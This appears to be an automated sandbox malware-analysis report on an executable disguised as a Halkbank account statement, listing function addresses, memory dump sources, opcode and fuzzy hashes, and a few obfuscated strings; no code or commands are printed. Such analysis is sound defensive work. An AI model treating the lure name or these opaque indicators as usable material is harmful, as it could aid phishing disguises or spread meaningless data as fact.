Instruction Fuzzy Hash: 6451E174E26219DFDB54EFA9D5809ADBBB1AB49310F10952AE816EB350D730AC42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06D483F0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a98ab8df1c26f5bcd0906d0be31996d0e78255900fefbd58b43298b9407e01e
Instruction ID: d8f2e6138ffd17d85cdff5bbb32dc5172e577f8aa9082b1c3e230e3dd7f60022
Opcode Fuzzy Hash: 2a98ab8df1c26f5bcd0906d0be31996d0e78255900fefbd58b43298b9407e01e
Instruction Fuzzy Hash: 7E51F7B5E042089FDB48DFA9D984AEEBBF6EB88311F109025E906B7354CB749941CB54

Uniqueness

Uniqueness Score: -1.00%

Function 06D481D8 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68490f106808c97e6331a0147b0c9e3a137085e5fdfc3335dd70a4aaf6941830
Instruction ID: 6ef6a74334f74be138c4902566f5aab078818c173fc9d158ca1d3ac1e3e697b9
Opcode Fuzzy Hash: 68490f106808c97e6331a0147b0c9e3a137085e5fdfc3335dd70a4aaf6941830
Instruction Fuzzy Hash: BD41CE75E012199FCB00EFA8D584AEEBBB2FB88320F109565E914A7354CB719994CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06D4B300 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9160dbb5671dc0d419b851b1310ad467207db71f5d6cbfcca0b3c6159ef2b8f
Instruction ID: d99fc49b67ce80bff39149feb793def0f46119479c4efcb9b307a4c5a064663c
Opcode Fuzzy Hash: b9160dbb5671dc0d419b851b1310ad467207db71f5d6cbfcca0b3c6159ef2b8f
Instruction Fuzzy Hash: 303169B5D002099FCB54DFA9D888ADEBFF9EB48310F14842AE809E7310D334A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06D47EC8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b9f86cec4cae7171b242132b1a26b3b04a253f14075c859227f6ecfc417e00
Instruction ID: f9243bb31e4081095f8760259660483568dd9f497d0e743691f09856ffe6c395
Opcode Fuzzy Hash: 97b9f86cec4cae7171b242132b1a26b3b04a253f14075c859227f6ecfc417e00
Instruction Fuzzy Hash: 6D3127B5E00209AFCB45DF98D880AEEBBB2FF88310F108565E914AB354D7709A41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ACD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978915049.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_acd000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519b520d559dd13e74e450019f4528a8e5b5002bb7e27de0c7db8a7dcd25b917
Instruction ID: 4f3e39ba7df5bab45f53a3f52fda004deffade116cb3bb456af44d8e22e18387
Opcode Fuzzy Hash: 519b520d559dd13e74e450019f4528a8e5b5002bb7e27de0c7db8a7dcd25b917
Instruction Fuzzy Hash: 672100B2504248EFDB05DF14D9C0F26BFA5FB98318F24C57DE90A0B256C336D816CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978959016.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_add000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb43a28825e5be5625d931816cad94beda40c88b6454e825f366fa42e1a7a900
Instruction ID: a569fb547fc1e5c7ab4c78825b605f4407572b5add2dfc0f70ffd0d5eda21a07
Opcode Fuzzy Hash: fb43a28825e5be5625d931816cad94beda40c88b6454e825f366fa42e1a7a900
Instruction Fuzzy Hash: B921D0B5604240EFDB14DF24D984B26BBA5EBC8314F24C96AD80B4B386C33AD807CA61

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978959016.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_add000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba76d0969e63109c57120d12f5b515293d1fc207f68b8a38e559cdd43537058
Instruction ID: 36c447d6c7cd474d176d50cdacb174e93886ea1f183966fda181cf7cd850b8c1
Opcode Fuzzy Hash: dba76d0969e63109c57120d12f5b515293d1fc207f68b8a38e559cdd43537058
Instruction Fuzzy Hash: 9B2126B1504200EFDB05DF54D9C0B66BBB5FB84314F34CA6EE84A4B392C336D806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06D4B600 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d2e11f33e4929d6b5375a5009e53681196a19f0ff2853342479bc5bc1c1cb4
Instruction ID: 482f468fd201b1abd56626add82158888e365f504e70d702c8ab9e4d83de9343
Opcode Fuzzy Hash: 41d2e11f33e4929d6b5375a5009e53681196a19f0ff2853342479bc5bc1c1cb4
Instruction Fuzzy Hash: B811E271A0D388AFDB42DB788D6949A7FF9DF0610071544EBD884CB293E9308D06C372

Uniqueness

Uniqueness Score: -1.00%

Function 06D47BE0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7cdc9b94c6d081add3f4e3ac810eed39108fcda06f879feee05e4e7756958e
Instruction ID: 78266beab69d53a9ae62267c70aac03b7ea2dc398251903669f906d3b91ef0e3
Opcode Fuzzy Hash: 0a7cdc9b94c6d081add3f4e3ac810eed39108fcda06f879feee05e4e7756958e
Instruction Fuzzy Hash: 0831F4B4E00908DFC748DF6AE684A9DBBF2FF88300B6281D5D5489B365DB70AE51DB40

Uniqueness

Uniqueness Score: -1.00%

Function 06D49078 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92e83845a048d1bf44af0e0ba28a59dd0a0cd83fb332de7c52cb63fa71300923
Instruction ID: e050fc4a1e59bef9f73a79eed1190610f90096d6dd117f9af61fd859e30db686
Opcode Fuzzy Hash: 92e83845a048d1bf44af0e0ba28a59dd0a0cd83fb332de7c52cb63fa71300923
Instruction Fuzzy Hash: 5531C0B0D11318DFDB60DF9AC998B8EBBF5AB48314F24806AE405BB250C7B59885CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD005 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978959016.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_add000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3006b0271366ac61788f3cb5c229d1b9990d1ad8090702269ec4dd2eea066fdf
Instruction ID: 624d6dd7452e363bd2bc5d0349d940c1a6a4252461fc6911452aac4c81693b3b
Opcode Fuzzy Hash: 3006b0271366ac61788f3cb5c229d1b9990d1ad8090702269ec4dd2eea066fdf
Instruction Fuzzy Hash: 412184755093C08FDB16CF24D994715BF71EB85314F28C5DBD84A8B697C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 06D4B310 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76454e75f86efc3460d2611655f9173f4531c249dbdf81ce77c69e868ce452db
Instruction ID: 96dddd126d6d84a89cbef59be89c5a0d824440fad7adf80d5033cd457c865fc5
Opcode Fuzzy Hash: 76454e75f86efc3460d2611655f9173f4531c249dbdf81ce77c69e868ce452db
Instruction Fuzzy Hash: 4B21D0B5D043499FDB50DFAAD884ADEBBF4FB48320F10842AE919A7310C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ACD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978915049.0000000000ACD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_acd000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction ID: 456336bc2bb819161cec2ec989a87338ff104a75f095270fc692582a46ce6bab
Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction Fuzzy Hash: B211D376504284CFCB16CF14D9C4B16BF71FB94314F24C6ADD8490B656C336D85ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1978959016.0000000000ADD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00ADD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_add000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction ID: 777b5d88bfedfe8c03339cc32d0e08a21f427551b8ea96247c645c9c97a60aec
Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction Fuzzy Hash: 3C11BB75904280DFCB02CF10D5C4B55BBB1FB84314F24C6AAD84A4B796C33AD80ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 06D47D78 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53d66598ef5f69da87046c295484ecd20f26949010c7a846838401676e664a89
Instruction ID: 97526cef6e25aedddab0b3b021e2b30fbf819ad5d2d33b8db59f6e9fd6352407
Opcode Fuzzy Hash: 53d66598ef5f69da87046c295484ecd20f26949010c7a846838401676e664a89
Instruction Fuzzy Hash: 7B11C3B8E00508DFC740DFA9E188A9DBBF1FB88310F5281D5D984AB355C770EAA0CB45

Uniqueness

Uniqueness Score: -1.00%

Function 06D469B0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb67cb10f1a445e03bb33b81dc378ffba59ff69cd2bb2e219b19d113742d4ce
Instruction ID: 5ad7f68a71fe978b4fa43129f362db3fb1fc5221b05de7e358bc660d7efaa2a3
Opcode Fuzzy Hash: edb67cb10f1a445e03bb33b81dc378ffba59ff69cd2bb2e219b19d113742d4ce
Instruction Fuzzy Hash: 8BE012F1805148DFCB91FFB5D50469E7BF9EB0B305F0045A6960A97111EBB28E04DB96

Uniqueness

Uniqueness Score: -1.00%

Function 06D47D38 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d485ad042fb6e7464376a75aa04954a973fd212363c1c08ec55970ad1633f6c0
Instruction ID: 44fe974a642c5e388ca4fd9bf11cf31a16313508da432368e09adee74abb4399
Opcode Fuzzy Hash: d485ad042fb6e7464376a75aa04954a973fd212363c1c08ec55970ad1633f6c0
Instruction Fuzzy Hash: DAE0C274908108DBCB04EFA4E5405BCBBB9EB85300F1081ADC80827350CBB1AE02DB81

Uniqueness

Uniqueness Score: -1.00%

Function 06D4EE28 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dc3c503f62e3138968043e5ce080ac34c5ed61ff5fadee0a71a463a5ffbe5d8
Instruction ID: 1101996346da2f49c9be1bb7bf6429edb2171682602ca4f3e9f9c89431dfb551
Opcode Fuzzy Hash: 8dc3c503f62e3138968043e5ce080ac34c5ed61ff5fadee0a71a463a5ffbe5d8
Instruction Fuzzy Hash: 9CE017B0E41208EFCB80EFB8D54969CBBF5AB04205F1041AAD908E3340EB705E44CB42

Uniqueness

Uniqueness Score: -1.00%

Function 06D4E3D8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16fb3d336e528a00c84137de7ae7426abb11ec86f7b5146924b049b00e55e97e
Instruction ID: 96a1a3ce2c27ddac0742defa6b08a17409c610e6e86d78bcf48ae57cb1fcc0ea
Opcode Fuzzy Hash: 16fb3d336e528a00c84137de7ae7426abb11ec86f7b5146924b049b00e55e97e
Instruction Fuzzy Hash: 73C08C700422048BC3143BAAA60C3247BBE6B00206F006065F308464608AB05408CB66

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06D46A00 Relevance: 6.0, Strings: 4, Instructions: 1015COMMON

Download Yara Rule

Strings

paq, xrefs: 06D476D9
xb`q, xrefs: 06D46B30
TJbq, xrefs: 06D46BA5
Te]q, xrefs: 06D4725A

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: TJbq$Te]q$paq$xb`q
API String ID: 0-4160082283
Opcode ID: d5448bd739e9923d03b0e2b7657698b53649b7b66161128a2b15dbb94ab1b657
Instruction ID: 04699710642ac8b26a1b6667a21d1b8a8e408cc5909be17569ce1ebd9b28feff
Opcode Fuzzy Hash: d5448bd739e9923d03b0e2b7657698b53649b7b66161128a2b15dbb94ab1b657
Instruction Fuzzy Hash: DCB2B075E00628CFDB64DF69C984AD9BBB2FF89304F1581E9D509AB225DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02700040 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8707a18f76d36caee7ac112e3c6b5a2afedd830c38fb7713bc6465eb51c7909
Instruction ID: 13b78c6dd67249216ad8d80cd9247bfab1ad4c79e889091634b46bb689ba6dd1
Opcode Fuzzy Hash: a8707a18f76d36caee7ac112e3c6b5a2afedd830c38fb7713bc6465eb51c7909
Instruction Fuzzy Hash: 20E1F774E00259CFCB14DFA8C580AAEFBF2BF89314F248569E415AB396D730A945CF61

Uniqueness

Uniqueness Score: -1.00%

Function 06D4A878 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da03209da8d729e513fd5e1c850a2b4f2fb66850005d1f9543d83724e5b7ec28
Instruction ID: ae23cc7df74a8d16639d4d0237050dae2e3b337efa62706fa866363ad6f72b73
Opcode Fuzzy Hash: da03209da8d729e513fd5e1c850a2b4f2fb66850005d1f9543d83724e5b7ec28
Instruction Fuzzy Hash: 2CD1F871D20B5A8ACB11EB74D990A9DB3B1FF95300F21C79AE10A7B214EB706AC5CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0255D424 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1979765546.0000000002550000.00000040.00000800.00020000.00000000.sdmp, Offset: 02550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2550000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7829f9fb79b0b612854f941acaa5b90ad2100ace1208c6bf4e48b0cc9c8f7bc1
Instruction ID: 3228c175d190fef7a0795d0f4cfddc03214ed58a4d368fc51dc7de1fcf3c57b6
Opcode Fuzzy Hash: 7829f9fb79b0b612854f941acaa5b90ad2100ace1208c6bf4e48b0cc9c8f7bc1
Instruction Fuzzy Hash: 80A17E36E002198FCF05DFB4C5505AEBBB2FF86304B15856AED06AB261DB31E916CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02700007 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc15b00d606d757f262baaef0ab1192f5d90564ba01586f16b4c3f57360aa8b1
Instruction ID: c29c6e71c3ae96bdf27abcc747075eead8f256d89673510efc08457578f0e828
Opcode Fuzzy Hash: dc15b00d606d757f262baaef0ab1192f5d90564ba01586f16b4c3f57360aa8b1
Instruction Fuzzy Hash: 00518074E042598FCB14CFA9C5906AEBBF2BF8A304F24C5AAD458AB356C7305D46CF61

Uniqueness

Uniqueness Score: -1.00%

Function 06D40040 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3452d466894f43170f4fed2494b094ab40a6eab55b711bebb855ad151242f7
Instruction ID: 14d06d57c331b5193c0f12b55b26c824137e74e99799b2df0a2b5dbe1852aa80
Opcode Fuzzy Hash: 7f3452d466894f43170f4fed2494b094ab40a6eab55b711bebb855ad151242f7
Instruction Fuzzy Hash: E15194B5D016288FEB68DF2AD95479DBAF3AFC8200F14C1EAC50DA7264DB710A95CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06D40006 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2002157329.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d40000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cbe7f928a8fc512775f7d6f0cd2239cbe21ec190b83ff0782c31a697706ab5b
Instruction ID: 5e7617d2342d8ff2c82943e0f9a1f3fcef3860b6c359ec79994392d27cfd7da3
Opcode Fuzzy Hash: 7cbe7f928a8fc512775f7d6f0cd2239cbe21ec190b83ff0782c31a697706ab5b
Instruction Fuzzy Hash: A841D9B1D057588FEB69CF6BDC4438ABBF3AFC5200F14C1AAC408AA265DB7509858F51

Uniqueness

Uniqueness Score: -1.00%

Function 0270257F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10568f70430fb43e2da622855cd150008c9034bd802824634820919243fe8694
Instruction ID: e0ac241b0ca23117b2063a788c2bba7627b96916c9bae99e255752548efaa6dd
Opcode Fuzzy Hash: 10568f70430fb43e2da622855cd150008c9034bd802824634820919243fe8694
Instruction Fuzzy Hash: 6CE0BF76909214CFC750DF55E8985F8F7B9E74B311F0020A6D90EA7253D7B05549CF44

Uniqueness

Uniqueness Score: -1.00%

Function 02702509 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1980040904.0000000002700000.00000040.00000800.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2700000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c86a9060a37e25df8461f57b682dc645b6a7949101f579d267fa86e6f69141
Instruction ID: fcc71822d48b287a7001dd78ef04d3351a6239c010b43d6c961e92d7272debfe
Opcode Fuzzy Hash: 74c86a9060a37e25df8461f57b682dc645b6a7949101f579d267fa86e6f69141
Instruction Fuzzy Hash: E3D05EA7D4E2C8CBC7024AB42C681F0BFB89A47121B0820E2CD5E661E3AB055029D259

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Halkbank_Ekstre_20230426_075819_154055.exePID: 6052, Parent PID: 3664COMMON

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.5%
Total number of Nodes:	204
Total number of Limit Nodes:	16

Executed Functions

Function 0100B388 Relevance: 6.6, Strings: 5, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o@p, xrefs: 0100B5C2
PH]q, xrefs: 0100B7B8
PH]q, xrefs: 0100B7A7
Lj@p, xrefs: 0100B745
Lj@p, xrefs: 0100B72F

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 738d5d0a8de831f690c4b200dbf5a7d1fccc32720e48be0279a0bdbac8e00220
Instruction ID: 5f2b562d746c4a7b9efcc5874468c29b6aeba4e969a8d4d19f86b872f582f828
Opcode Fuzzy Hash: 738d5d0a8de831f690c4b200dbf5a7d1fccc32720e48be0279a0bdbac8e00220
Instruction Fuzzy Hash: 9CE10A75A00218CFEB15DFA9C984A9DBBF1FF48310F1584A9E959AB3A1DB30E941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0100C1F0 Relevance: 6.4, Strings: 5, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0100C458
Lj@p, xrefs: 0100C3E5
Lj@p, xrefs: 0100C3CF
PH]q, xrefs: 0100C447
0o@p, xrefs: 0100C262

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 788f69a3300f1f10788896c2169eaf61f89df03068958484d34ad4335723bd77
Instruction ID: 1a95f9f1521af252468e5512292f75d9611f0d0ae788fa8961a30a5766ac292d
Opcode Fuzzy Hash: 788f69a3300f1f10788896c2169eaf61f89df03068958484d34ad4335723bd77
Instruction Fuzzy Hash: B491F674E00218CFEB55DFA9D984A9DBBF2BF89300F14C1A9E849AB365DB349941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0100C7B2 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH]q, xrefs: 0100CA07
Lj@p, xrefs: 0100C9A5
Lj@p, xrefs: 0100C98F
0o@p, xrefs: 0100C822
PH]q, xrefs: 0100CA18

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: f642f0c69d897d34539e06b363962e908424fc97c83800ccdd107d7174f22294
Instruction ID: 5406559f4ee12ec7b48ad9b39fbd17866d9bc84d105c426abe0a1786bf92db5a
Opcode Fuzzy Hash: f642f0c69d897d34539e06b363962e908424fc97c83800ccdd107d7174f22294
Instruction Fuzzy Hash: 8181E774E00218DFEB58DFA9D984A9DBBF2BF88300F14C1A9E449AB365DB345981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0100BF10 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o@p, xrefs: 0100BF82
PH]q, xrefs: 0100C178
PH]q, xrefs: 0100C167
Lj@p, xrefs: 0100C0EF
Lj@p, xrefs: 0100C105

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 57aa123b7149f30b9efaa388c2454a57d3a30afa0a123d9b8a607b438c121046
Instruction ID: f80859f72b9d7c3bbf21583baaf566d44c9c4df2ca017310099fc4e13b4888f3
Opcode Fuzzy Hash: 57aa123b7149f30b9efaa388c2454a57d3a30afa0a123d9b8a607b438c121046
Instruction Fuzzy Hash: EE810574E00208DFEB55DFA9C984A9DBBF2BF89300F14C1A9E849AB365DB345981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0100C4D0 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

